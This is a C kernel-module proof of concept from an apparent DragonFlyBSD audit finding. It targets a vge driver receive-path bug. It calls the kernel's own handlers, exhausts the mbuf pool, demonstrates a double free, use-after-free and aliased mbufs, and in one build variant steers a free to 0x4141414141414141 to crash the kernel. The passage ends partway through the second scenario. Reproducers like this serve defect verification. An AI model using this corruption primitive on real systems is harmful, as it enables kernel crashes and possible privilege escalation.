โฌข DragonFlyBSD Kernel Audit
DF-4106 / df4106_vge_poc.c
โ† back to finding โ†“ download raw
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
/*
 * DF-4106 PoC harness โ€” if_vge.c vge_rxeof() SOF branch ignores the
 * vge_newbuf() failure (if_vge.c:1294).  On failure the just-linked
 * head-chain mbuf REMAINS in vge_rx_mbuf[] and the descriptor still
 * points at its cluster: mbuf double-reference -> double free / UAF /
 * double-queued (cyclic) chain.
 *
 * THE REAL PRODUCTION HANDLERS are dispatched: the guest kernel is
 * built with `device vge` (X86_64_GENERIC), so the driver's static
 * vge_rxeof()/vge_newbuf()/vge_dma_map_addr() exist in the running
 * kernel image (/boot/kernel/kernel).  Their addresses are resolved
 * with nm(1) and injected into this KLD through sysctls; the rig then
 * calls THE KERNEL'S OWN CODE โ€” nothing about the handler is
 * recompiled, copied or modified here.  (vge_rx_list_init and
 * vge_dma_free were inlined by the kernel build; their bodies โ€”
 * straight-line loops around vge_newbuf() and busdma teardown โ€” are
 * replayed here and call the real kernel functions where they exist.)
 *
 * The rig reconstructs the post-attach/post-init driver state:
 *   - struct vge_softc exactly as vge_attach/vge_dma_alloc left it
 *     (the tag/ring/map creation of if_vge.c:738-889 replayed
 *     verbatim, using the kernel's own vge_dma_map_addr callback),
 *   - 256 real m_getcl() mbufs hung on the ring exactly as
 *     vge_rx_list_init (if_vge.c:1195-1219) does, via the kernel's
 *     own vge_newbuf(),
 *   - a real lwkt serializer as ifp->if_serializer (production:
 *     vge_intr runs vge_rxeof under it),
 *   - a scratch page standing in for the MMIO BAR so the handler's
 *     trailing CSR_WRITE_2(VGE_RXDESC_RESIDUECNT) (if_vge.c:1408)
 *     lands harmlessly.
 * The "NIC" is simulated the only way the driver can observe it:
 * descriptor OWN-bit/status writes.
 *
 * The production failure condition โ€” m_getcl(M_NOWAIT) returning NULL
 * inside vge_newbuf (if_vge.c:1111-1113, ENOBUFS) โ€” is imposed by
 * draining the mbuf cluster pool on this CPU at the SOF slots.
 *
 * SCENARIO A (incomplete multi-fragment frame + allocation failure):
 *   slots 0,1 delivered as SOF fragments; both vge_newbuf() calls in
 *   the SOF branch fail and are IGNORED -> sc->vge_head chain holds
 *   m0,m1 while vge_rx_mbuf[0..1] still reference them (the
 *   double-reference).  Then:
 *     A1: ring wrap + one more dispatch -> slot 0/1 walked AGAIN ->
 *         m0 linked into the chain a SECOND time -> CYCLIC,
 *         double-queued chain, printed.
 *     A2: VERBATIM vge_stop() tail (if_vge.c:2102-2125): m_freem(head
 *         chain) frees m0,m1; the RX-list loop then frees
 *         vge_rx_mbuf[0]/[1] == m0,m1 AGAIN -> double free.
 *     A3: alias scan -> one mbuf returned to two owners.
 *
 * SCENARIO B (completed jumbo frame + allocation failure):
 *   slots 0,1 SOF + slot 2 EOF: SOF newbufs fail (ignored); the EOF
 *   branch newbuf ALSO fails and m_freem()s the head chain (m0,m1)
 *   while the ring still references them -> DANGLING ring entries.
 *   Pool recovers; the ring wraps; a frame completes into the reloaded
 *   slot 2; the next walk:
 *     B1: writes through the dangling entries (m->m_len :1286,
 *         m_flags :1290) โ€” UAF writes / theft of whatever reallocated
 *         the freed mbufs (pointer-equality printed);
 *     B2: assembles the chain [stolen m0, freed m1, live m2] and
 *         hands it to ifp->if_input (:1395) โ€” a freed mbuf delivered
 *         to the network stack.
 *
 * Build variant -DDF4106_PANIC: after the proofs, steers the
 * aliased-object primitive: a write through owner A's mbuf header
 * (stand-in for any attacker influence over the twin object) aims
 * owner B's m_freem() at 0x4141414141414141 -> Fatal trap 12.
 *
 * Usage (root):
 *   kldload ./df4106_vge_poc.ko
 *   sysctl -w kern.df4106.rxeof=0x$(nm /boot/kernel/kernel | awk '/ t vge_rxeof$/{print $1}')
 *   sysctl -w kern.df4106.newbuf=0x$(nm /boot/kernel/kernel | awk '/ t vge_newbuf$/{print $1}')
 *   sysctl -w kern.df4106.mapaddr=0x$(nm /boot/kernel/kernel | awk '/ t vge_dma_map_addr$/{print $1}')
 *   sysctl -w kern.df4106.go=1            # runs the scenarios
 *
 * Expected on stock /usr/src: "DOUBLE-REFERENCE", "CYCLE DETECTED",
 *   "DOUBLE FREE", "UAF"/"THEFT", "freed mbuf ... to if_input",
 *   "ALIAS CONFIRMED"  (+ trap 12 in the PANIC variant).
 * Expected on fixed /usr/src: every corrupted-state marker absent,
 *   "NO ALIAS FOUND", SURVIVED.
 */

#include <sys/param.h>
#include <sys/endian.h>
#include <sys/systm.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/malloc.h>
#include <sys/mbuf.h>
#include <sys/serialize.h>
#include <sys/sysctl.h>
#include <sys/types.h>

#include <sys/bus.h>
#include <machine/bus_dma.h>	/* X86_64_BUS_SPACE_MEM */

#include <net/if.h>
#include <net/if_arp.h>
#include <net/if_var.h>
#include <net/if_poll.h>	/* struct ifpoll_compat (softc member) */

#include <dev/netif/vge/if_vgereg.h>
#include <dev/netif/vge/if_vgevar.h>

#define DF4106_MAGIC_VICTIM	0x4141414141414141UL
#define DF4106_SCAN_N		2200
#define DF4106_MAXHELD		45000	/* > kern.ipc.nmbclusters (33296) */

/* ------------------------------------------------------------------ */
/* REAL kernel handlers, resolved from /boot/kernel/kernel via nm(1)   */
/* ------------------------------------------------------------------ */
static void (*p_vge_rxeof)(struct vge_softc *, int);
static int  (*p_vge_newbuf)(struct vge_softc *, int, struct mbuf *);
static void (*p_vge_dma_map_addr)(void *, bus_dma_segment_t *, int, int);

static int df4106_panic;			/* kern.df4106.panic=1 */
static int df4106_ran;

SYSCTL_NODE(_kern, OID_AUTO, df4106, CTLFLAG_RW, 0, "DF-4106 PoC rig");

/*
 * Address-injection sysctls take hex STRINGS ("ffffffff808d2680"):
 * sysctl_handle_int/long clamp values above INT64_MAX, which is where
 * every static-kernel address lives on x86_64.
 */
static int
df4106_sysctl_addr(SYSCTL_HANDLER_ARGS, void **target)
{
	char buf[32];
	const char *s;
	int error, len;

	ksnprintf(buf, sizeof(buf), "0x%016llx",
	    (unsigned long long)(uintptr_t)*target);
	error = SYSCTL_OUT(req, buf, strlen(buf) + 1);
	if (error || req->newptr == NULL)
		return (error);
	len = req->newlen - req->newidx;
	if (len >= (int)sizeof(buf))
		return (EINVAL);
	error = SYSCTL_IN(req, buf, len);
	if (error)
		return (error);
	buf[len] = '\0';
	s = buf;
	if (s[0] == '0' && (s[1] == 'x' || s[1] == 'X'))
		s += 2;
	*target = (void *)(uintptr_t)strtoul(s, NULL, 16);
	return (0);
}

static int
df4106_sysctl_rxeof(SYSCTL_HANDLER_ARGS)
{
	return (df4106_sysctl_addr(oidp, arg1, arg2, req, (void **)&p_vge_rxeof));
}
SYSCTL_PROC(_kern_df4106, OID_AUTO, rxeof,
    CTLTYPE_STRING | CTLFLAG_RW, NULL, 0, df4106_sysctl_rxeof, "A",
    "kernel address of static vge_rxeof() (hex string)");

static int
df4106_sysctl_newbuf(SYSCTL_HANDLER_ARGS)
{
	return (df4106_sysctl_addr(oidp, arg1, arg2, req, (void **)&p_vge_newbuf));
}
SYSCTL_PROC(_kern_df4106, OID_AUTO, newbuf,
    CTLTYPE_STRING | CTLFLAG_RW, NULL, 0, df4106_sysctl_newbuf, "A",
    "kernel address of static vge_newbuf() (hex string)");

static int
df4106_sysctl_mapaddr(SYSCTL_HANDLER_ARGS)
{
	return (df4106_sysctl_addr(oidp, arg1, arg2, req,
	    (void **)&p_vge_dma_map_addr));
}
SYSCTL_PROC(_kern_df4106, OID_AUTO, mapaddr,
    CTLTYPE_STRING | CTLFLAG_RW, NULL, 0, df4106_sysctl_mapaddr, "A",
    "kernel address of static vge_dma_map_addr() (hex string)");

static struct lwkt_serialize df4106_ser;
static struct ifdata_pcpu *df4106_ifdata;
static void *df4106_mmio;
static u_int df4106_chains;

/*
 * Production if_input stand-in (ether_input/netisr in the real stack):
 * record the delivered chain, then consume it exactly as the network
 * stack eventually would (m_freem).
 */
static void
df4106_input(struct ifnet *ifp, struct mbuf *m, const struct pktinfo *pi,
    int cpuid)
{
	struct mbuf *x;
	int i;

	kprintf("df4106: if_input(ifp,%p) chain:", m);
	for (x = m, i = 0; x != NULL && i < 8; x = x->m_next, i++)
		kprintf(" [%p len=%d fl=%#x]", x, x->m_len, x->m_flags);
	kprintf("\n");
	df4106_chains++;
	m_freem(m);
}

/*
 * VERBATIM replay of vge_dma_alloc() (if_vge.c:738-889):
 * device_get_softc(dev)->sc, device_printf(dev,...)->kprintf, and the
 * kernel's own vge_dma_map_addr() for the ring-map loads.  (The
 * production tag quirks โ€” RX list tag/map sized VGE_TX_LIST_SZ,
 * if_vge.c:828-854 โ€” are replicated verbatim.)
 */
static int
df4106_dma_alloc(struct vge_softc *sc)
{
	int error, nseg, i;

#define VGE_NSEG_NEW 32
	error = bus_dma_tag_create(NULL,
			1, 0,
			BUS_SPACE_MAXADDR_32BIT,
			BUS_SPACE_MAXADDR,
			MAXBSIZE, VGE_NSEG_NEW,
			BUS_SPACE_MAXSIZE_32BIT,
			BUS_DMA_ALLOCNOW,
			&sc->vge_parent_tag);
	if (error) {
		kprintf("df4106: can't create parent dma tag\n");
		return error;
	}

	nseg = 32;
	error = bus_dma_tag_create(sc->vge_parent_tag, ETHER_ALIGN, 0,
				   BUS_SPACE_MAXADDR_32BIT, BUS_SPACE_MAXADDR,
				   MCLBYTES * nseg, nseg, MCLBYTES,
				   BUS_DMA_ALLOCNOW, &sc->vge_ldata.vge_mtag);
	if (error) {
		kprintf("df4106: could not allocate mbuf dma tag\n");
		return error;
	}

	error = bus_dma_tag_create(sc->vge_parent_tag, VGE_RING_ALIGN, 0,
				   BUS_SPACE_MAXADDR_32BIT, BUS_SPACE_MAXADDR,
				   VGE_TX_LIST_SZ, 1, VGE_TX_LIST_SZ,
				   BUS_DMA_ALLOCNOW,
				   &sc->vge_ldata.vge_tx_list_tag);
	if (error) {
		kprintf("df4106: could not allocate tx list dma tag\n");
		return error;
	}

	error = bus_dmamem_alloc(sc->vge_ldata.vge_tx_list_tag,
				 (void **)&sc->vge_ldata.vge_tx_list,
				 BUS_DMA_WAITOK | BUS_DMA_ZERO,
				 &sc->vge_ldata.vge_tx_list_map);
	if (error) {
		kprintf("df4106: could not allocate tx list dma memory\n");
		return error;
	}

	error = bus_dmamap_load(sc->vge_ldata.vge_tx_list_tag,
				sc->vge_ldata.vge_tx_list_map,
				sc->vge_ldata.vge_tx_list, VGE_TX_LIST_SZ,
				p_vge_dma_map_addr,
				&sc->vge_ldata.vge_tx_list_addr,
				BUS_DMA_WAITOK);
	if (error) {
		kprintf("df4106: could not load tx list\n");
		return error;
	}

	for (i = 0; i < VGE_TX_DESC_CNT; i++) {
		error = bus_dmamap_create(sc->vge_ldata.vge_mtag, 0,
					  &sc->vge_ldata.vge_tx_dmamap[i]);
		if (error) {
			kprintf("df4106: can't create DMA map for TX\n");
			return error;
		}
	}

	error = bus_dma_tag_create(sc->vge_parent_tag, VGE_RING_ALIGN, 0,
				   BUS_SPACE_MAXADDR_32BIT, BUS_SPACE_MAXADDR,
				   VGE_TX_LIST_SZ, 1, VGE_TX_LIST_SZ,
				   BUS_DMA_ALLOCNOW,
				   &sc->vge_ldata.vge_rx_list_tag);
	if (error) {
		kprintf("df4106: could not allocate rx list dma tag\n");
		return error;
	}

	error = bus_dmamem_alloc(sc->vge_ldata.vge_rx_list_tag,
				 (void **)&sc->vge_ldata.vge_rx_list,
				 BUS_DMA_WAITOK | BUS_DMA_ZERO,
				 &sc->vge_ldata.vge_rx_list_map);
	if (error) {
		kprintf("df4106: could not allocate rx list dma memory\n");
		return error;
	}

	error = bus_dmamap_load(sc->vge_ldata.vge_rx_list_tag,
				sc->vge_ldata.vge_rx_list_map,
				sc->vge_ldata.vge_rx_list, VGE_TX_LIST_SZ,
				p_vge_dma_map_addr,
				&sc->vge_ldata.vge_rx_list_addr,
				BUS_DMA_WAITOK);
	if (error) {
		kprintf("df4106: could not load rx list\n");
		return error;
	}

	for (i = 0; i < VGE_RX_DESC_CNT; i++) {
		error = bus_dmamap_create(sc->vge_ldata.vge_mtag, 0,
					  &sc->vge_ldata.vge_rx_dmamap[i]);
		if (error) {
			kprintf("df4106: can't create DMA map for RX\n");
			return error;
		}
	}
	return (0);
}

/*
 * VERBATIM replay of vge_rx_list_init() (if_vge.c:1195-1219) โ€” the
 * kernel build inlined it, so replay the straight-line body, calling
 * the kernel's OWN vge_newbuf() for every slot.
 */
static int
df4106_rx_list_init(struct vge_softc *sc)
{
	int i;

	bzero(sc->vge_ldata.vge_rx_list, VGE_RX_LIST_SZ);
	bzero(&sc->vge_ldata.vge_rx_mbuf,
	      VGE_RX_DESC_CNT * sizeof(struct mbuf *));

	sc->vge_rx_consumed = 0;

	for (i = 0; i < VGE_RX_DESC_CNT; i++) {
		if (p_vge_newbuf(sc, i, NULL) == ENOBUFS)
			return (ENOBUFS);
	}

	/* Flush the RX descriptors */
	bus_dmamap_sync(sc->vge_ldata.vge_rx_list_tag,
			sc->vge_ldata.vge_rx_list_map,
			BUS_DMASYNC_PREWRITE);

	sc->vge_ldata.vge_rx_prodidx = 0;
	sc->vge_rx_consumed = 0;
	sc->vge_head = sc->vge_tail = NULL;
	return (0);
}

/*
 * VERBATIM replay of the vge_stop() mbuf teardown (if_vge.c:2102-2125):
 * free the head chain first, then every non-NULL RX-list mbuf.
 */
static void
df4106_stop_tail(struct vge_softc *sc)
{
	int i;

	if (sc->vge_head != NULL) {
		kprintf("df4106: vge_stop: m_freem(head chain %p)\n",
		    sc->vge_head);
		m_freem(sc->vge_head);
		sc->vge_head = sc->vge_tail = NULL;
	}
	for (i = 0; i < VGE_RX_DESC_CNT; i++) {
		if (sc->vge_ldata.vge_rx_mbuf[i] != NULL) {
			if (i < 4)
				kprintf("df4106: vge_stop: m_freem(rx_mbuf[%d]"
				    "=%p)\n", i, sc->vge_ldata.vge_rx_mbuf[i]);
			bus_dmamap_unload(sc->vge_ldata.vge_mtag,
					  sc->vge_ldata.vge_rx_dmamap[i]);
			m_freem(sc->vge_ldata.vge_rx_mbuf[i]);
			sc->vge_ldata.vge_rx_mbuf[i] = NULL;
		}
	}
}

/* VERBATIM replay of vge_dma_free() (if_vge.c:892-933; inlined in build) */
static void
df4106_dma_free(struct vge_softc *sc)
{
	int i;

	if (sc->vge_ldata.vge_rx_list_tag) {
		bus_dmamap_unload(sc->vge_ldata.vge_rx_list_tag,
				  sc->vge_ldata.vge_rx_list_map);
		bus_dmamem_free(sc->vge_ldata.vge_rx_list_tag,
				sc->vge_ldata.vge_rx_list,
				sc->vge_ldata.vge_rx_list_map);
	}
	if (sc->vge_ldata.vge_rx_list_tag)
		bus_dma_tag_destroy(sc->vge_ldata.vge_rx_list_tag);

	if (sc->vge_ldata.vge_tx_list_tag) {
		bus_dmamap_unload(sc->vge_ldata.vge_tx_list_tag,
				  sc->vge_ldata.vge_tx_list_map);
		bus_dmamem_free(sc->vge_ldata.vge_tx_list_tag,
				sc->vge_ldata.vge_tx_list,
				sc->vge_ldata.vge_tx_list_map);
	}
	if (sc->vge_ldata.vge_tx_list_tag)
		bus_dma_tag_destroy(sc->vge_ldata.vge_tx_list_tag);

	if (sc->vge_ldata.vge_mtag) {
		for (i = 0; i < VGE_TX_DESC_CNT; i++)
			bus_dmamap_destroy(sc->vge_ldata.vge_mtag,
					   sc->vge_ldata.vge_tx_dmamap[i]);
		for (i = 0; i < VGE_RX_DESC_CNT; i++)
			bus_dmamap_destroy(sc->vge_ldata.vge_mtag,
					   sc->vge_ldata.vge_rx_dmamap[i]);
	}
	if (sc->vge_parent_tag)
		bus_dma_tag_destroy(sc->vge_parent_tag);
}

static void
df4106_dump_slots(struct vge_softc *sc, const char *tag)
{
	int i;

	kprintf("df4106: [%s] head=%p tail=%p consumed=%d prodidx=%d\n", tag,
	    sc->vge_head, sc->vge_tail, sc->vge_rx_consumed,
	    sc->vge_ldata.vge_rx_prodidx);
	for (i = 0; i < 4; i++)
		kprintf("df4106: [%s] slot %d: sts=%#010x own=%d rx_mbuf=%p\n",
		    tag, i,
		    le32toh(sc->vge_ldata.vge_rx_list[i].vge_sts),
		    !!(le32toh(sc->vge_ldata.vge_rx_list[i].vge_sts) &
		       VGE_RDSTS_OWN),
		    sc->vge_ldata.vge_rx_mbuf[i]);
}

/* ------------------------------------------------------------------ */
/* Cluster-pool drain / release                                       */
/* ------------------------------------------------------------------ */
static struct mbuf **df4106_held;
static int df4106_nheld;

static int
df4106_drain(void)
{
	struct mbuf *m;

	df4106_nheld = 0;
	while ((m = m_getcl(M_NOWAIT, MT_DATA, M_PKTHDR)) != NULL) {
		if (df4106_nheld == DF4106_MAXHELD) {
			kprintf("df4106: drain cap hit without failure โ€” "
			    "ABORT (assumption broken)\n");
			return (-1);
		}
		df4106_held[df4106_nheld++] = m;
	}
	kprintf("df4106: drained %d mbuf clusters โ€” m_getcl(M_NOWAIT) now "
	    "FAILS (vge_newbuf ENOBUFS path armed)\n", df4106_nheld);
	return (0);
}

static void
df4106_release(int n)
{
	int r;

	for (r = 0; r < n && df4106_nheld > 0; r++)
		m_freem(df4106_held[--df4106_nheld]);
}

static void
df4106_release_all(void)
{
	while (df4106_nheld > 0)
		m_freem(df4106_held[--df4106_nheld]);
}

/*
 * Allocate m_getcl()s and report any mbuf returned to two owners.
 * Frees every allocation whose index is not marked in skip[] (the
 * caller marks duplicate copies so the demonstrated phantom cache
 * entries are consumed exactly once โ€” keeps the pool balanced).
 * In PANIC mode the first aliased pair is recorded and never freed,
 * for the steering phase at the end.
 */
static struct mbuf *df4106_alias;

static int
df4106_alias_scan(const char *tag)
{
	struct mbuf **scan;
	char *skip;
	int n = 0, i, j, dup = 0;

	scan = kmalloc(DF4106_SCAN_N * sizeof(*scan), M_TEMP, M_WAITOK);
	skip = kmalloc(DF4106_SCAN_N, M_TEMP, M_WAITOK | M_ZERO);

	while (n < DF4106_SCAN_N &&
	       (scan[n] = m_getcl(M_NOWAIT, MT_DATA, M_PKTHDR)) != NULL)
		n++;
	for (i = 0; i < n; i++) {
		if (skip[i])
			continue;
		for (j = i + 1; j < n; j++) {
			if (scan[j] == scan[i]) {
				skip[j] = 1;	/* consume phantom copy */
				if (!dup) {
					kprintf("df4106: *** [%s] ALIAS "
					    "CONFIRMED: allocations #%d and "
					    "#%d returned the SAME mbuf %p "
					    "(cluster %p) โ€” one kernel object "
					    "with two live owners (double "
					    "free materialized) ***\n",
					    tag, i, j, scan[i],
					    scan[i]->m_ext.ext_buf);
					if (df4106_panic && df4106_alias == NULL) {
						df4106_alias = scan[i];
						skip[i] = 1;	/* keep alive */
					}
				}
				dup++;
			}
		}
	}
	if (!dup)
		kprintf("df4106: [%s] NO ALIAS FOUND in %d allocations\n",
		    tag, n);
	else
		kprintf("df4106: [%s] %d aliased allocation(s) found\n",
		    tag, dup);

	for (i = 0; i < n; i++)
		if (!skip[i])
			m_freem(scan[i]);
	kfree(scan, M_TEMP);
	kfree(skip, M_TEMP);
	return (dup);
}

/* ================================================================== */
/* SCENARIO A โ€” incomplete multi-fragment frame + allocation failure  */
/* ================================================================== */
static int
df4106_scenario_a(struct vge_softc *sc)
{
	struct mbuf *m0, *m1, *x;
	int i, dup = 0;

	kprintf("df4106: ============ SCENARIO A: SOF failure, incomplete "
	    "frame, vge_stop double free ============\n");

	if (df4106_rx_list_init(sc)) {
		kprintf("df4106: A: rx_list_init failed\n");
		return (-1);
	}
	m0 = sc->vge_ldata.vge_rx_mbuf[0];
	m1 = sc->vge_ldata.vge_rx_mbuf[1];
	kprintf("df4106: A: ring initialized; m0=%p m1=%p\n", m0, m1);

	/* NIC delivered SOF fragments into slots 0 and 1; frame incomplete */
	sc->vge_ldata.vge_rx_list[0].vge_sts =
	    htole32(VGE_RXPKT_SOF | VGE_RDSTS_RXOK | (2044 << 16));
	sc->vge_ldata.vge_rx_list[1].vge_sts =
	    htole32(VGE_RXPKT_SOF | VGE_RDSTS_RXOK | (2044 << 16));

	if (df4106_drain())
		return (-1);

	kprintf("df4106: A: dispatch 1 (REAL kernel vge_rxeof)\n");
	p_vge_rxeof(sc, -1);

	df4106_dump_slots(sc, "A-after-dispatch1");
	kprintf("df4106: *** A: DOUBLE-REFERENCE: head chain {");
	for (x = sc->vge_head, i = 0; x != NULL && i < 4; x = x->m_next, i++)
		kprintf("%s%p", i ? "->" : "", x);
	kprintf("} AND ring rx_mbuf[0]=%p rx_mbuf[1]=%p reference the same "
	    "mbufs โ€” the ignored vge_newbuf() failure at if_vge.c:1294 "
	    "***\n", sc->vge_ldata.vge_rx_mbuf[0],
	    sc->vge_ldata.vge_rx_mbuf[1]);

	/*
	 * A1: ring wrap โ€” the next interrupt walks slots 0/1 again while
	 * the head chain is still pending.  Slot 0's mbuf (the chain
	 * HEAD) is linked into the chain AGAIN at its tail: cyclic,
	 * double-queued mbuf.
	 */
	sc->vge_ldata.vge_rx_prodidx = 0;
	kprintf("df4106: A: dispatch 2 (ring wrap, REAL kernel vge_rxeof)\n");
	p_vge_rxeof(sc, -1);

	kprintf("df4106: A: head chain now:");
	for (x = sc->vge_head, i = 0; x != NULL && i < 6; x = x->m_next, i++)
		kprintf(" %p", x);
	kprintf("\n");
	if (sc->vge_head != NULL && sc->vge_head->m_next != NULL &&
	    sc->vge_head->m_next->m_next == sc->vge_head) {
		kprintf("df4106: *** A1: CYCLE DETECTED: %p is queued twice "
		    "(head and tail) โ€” double-queued mbuf, m1->m_next == m0 "
		    "***\n", sc->vge_head);
		/*
		 * Production consequence (traced, not run): delivering
		 * this chain at the EOF slot sends a cyclic mbuf chain
		 * into if_input/m_freem โ€” an unkillable free loop and an
		 * infinite chain for every consumer.  The rig breaks the
		 * cycle here (m1->m_next = NULL) only so the guest
		 * survives to demonstrate the vge_stop double free.
		 */
		sc->vge_head->m_next->m_next = NULL;
	}

	/*
	 * A2: VERBATIM vge_stop tail โ€” frees the head chain (m0, m1)
	 * and then frees rx_mbuf[0]/[1] (== m0, m1) again.
	 */
	kprintf("df4106: A: vge_stop tail (if_vge.c:2102-2125)\n");
	kprintf("df4106: *** A2: DOUBLE FREE: m0=%p and m1=%p are passed to "
	    "m_freem() twice โ€” once in the head chain, once in the RX-list "
	    "loop ***\n", m0, m1);
	df4106_stop_tail(sc);

	kprintf("df4106: A: releasing pool, alias scan\n");
	df4106_release_all();
	dup = df4106_alias_scan("A");
	return (dup ? 0 : 1);
}

/* ================================================================== */
/* SCENARIO B โ€” completed jumbo frame + allocation failure            */
/* ================================================================== */
static int
df4106_scenario_b(struct vge_softc *sc)
{
	struct mbuf *m0, *m1, *m2, *vic[2] = { NULL, NULL };
	int i, dup = 0;
	u_int chains_before;

	kprintf("df4106: ============ SCENARIO B: SOF failure on a completed "
	    "jumbo, next-walk UAF/theft ============\n");

	if (df4106_rx_list_init(sc)) {
		kprintf("df4106: B: rx_list_init failed\n");
		return (-1);
	}
	m0 = sc->vge_ldata.vge_rx_mbuf[0];
	m1 = sc->vge_ldata.vge_rx_mbuf[1];
	m2 = sc->vge_ldata.vge_rx_mbuf[2];
	kprintf("df4106: B: ring initialized; m0=%p m1=%p m2=%p\n",
	    m0, m1, m2);

	/* NIC delivered a 6132-byte jumbo: SOF SOF EOF */
	sc->vge_ldata.vge_rx_list[0].vge_sts =
	    htole32(VGE_RXPKT_SOF | VGE_RDSTS_RXOK | (2044 << 16));
	sc->vge_ldata.vge_rx_list[1].vge_sts =
	    htole32(VGE_RXPKT_SOF | VGE_RDSTS_RXOK | (2044 << 16));
	sc->vge_ldata.vge_rx_list[2].vge_sts =
	    htole32(VGE_RDSTS_RXOK | (6132 << 16));

	if (df4106_drain())
		return (-1);

	kprintf("df4106: B: dispatch 1 (REAL kernel vge_rxeof)\n");
	p_vge_rxeof(sc, -1);

	df4106_dump_slots(sc, "B-after-dispatch1");
	kprintf("df4106: *** B: the EOF branch (if_vge.c:1328-1337) "
	    "m_freem()d the head chain {m0,m1} while the failed SOF "
	    "newbufs left vge_rx_mbuf[0]=%p (==m0: %s) and rx_mbuf[1]=%p "
	    "(==m1: %s) DANGLING in the ring ***\n",
	    sc->vge_ldata.vge_rx_mbuf[0],
	    sc->vge_ldata.vge_rx_mbuf[0] == m0 ? "YES" : "no",
	    sc->vge_ldata.vge_rx_mbuf[1],
	    sc->vge_ldata.vge_rx_mbuf[1] == m1 ? "YES" : "no");

	/*
	 * Pool recovers; unrelated kernel allocations recycle the freed
	 * mbufs (m_data adjusted exactly as vge_newbuf leaves its mbufs
	 * so the demonstration does not smear allocator metadata).
	 */
	df4106_release(64);
	for (i = 0; i < 2; i++) {
		vic[i] = m_getcl(M_NOWAIT, MT_DATA, M_PKTHDR);
		if (vic[i] == NULL)
			break;
		vic[i]->m_data = vic[i]->m_ext.ext_buf + VGE_ETHER_ALIGN;
		kprintf("df4106: B: unrelated alloc %d = %p%s%s\n", i, vic[i],
		    vic[i] == m0 ? "  <== RECYCLED m0 (dangling ring entry 0)" : "",
		    vic[i] == m1 ? "  <== RECYCLED m1 (dangling ring entry 1)" : "");
	}

	/*
	 * Protocol-faithful slot-2 re-arm: three completed frames in
	 * slots 3,4,5 push vge_rx_consumed to a 4-window that ORs OWN
	 * onto slots 2..5 (if_vge.c:1161-1168), so the chip may legally
	 * deliver the completed frame into the reloaded slot-2 buffer.
	 */
	sc->vge_ldata.vge_rx_list[3].vge_sts =
	    htole32(VGE_RDSTS_RXOK | (1500 << 16));
	sc->vge_ldata.vge_rx_list[4].vge_sts =
	    htole32(VGE_RDSTS_RXOK | (1500 << 16));
	sc->vge_ldata.vge_rx_list[5].vge_sts =
	    htole32(VGE_RDSTS_RXOK | (1500 << 16));
	p_vge_rxeof(sc, -1);			/* prodidx==3 */
	sc->vge_ldata.vge_rx_list[2].vge_sts =
	    htole32(VGE_RDSTS_RXOK | (6132 << 16));

	/*
	 * Ring wraps; the next interrupt walks the dangling slots 0/1
	 * again and completes the frame at slot 2.
	 */
	sc->vge_ldata.vge_rx_prodidx = 0;
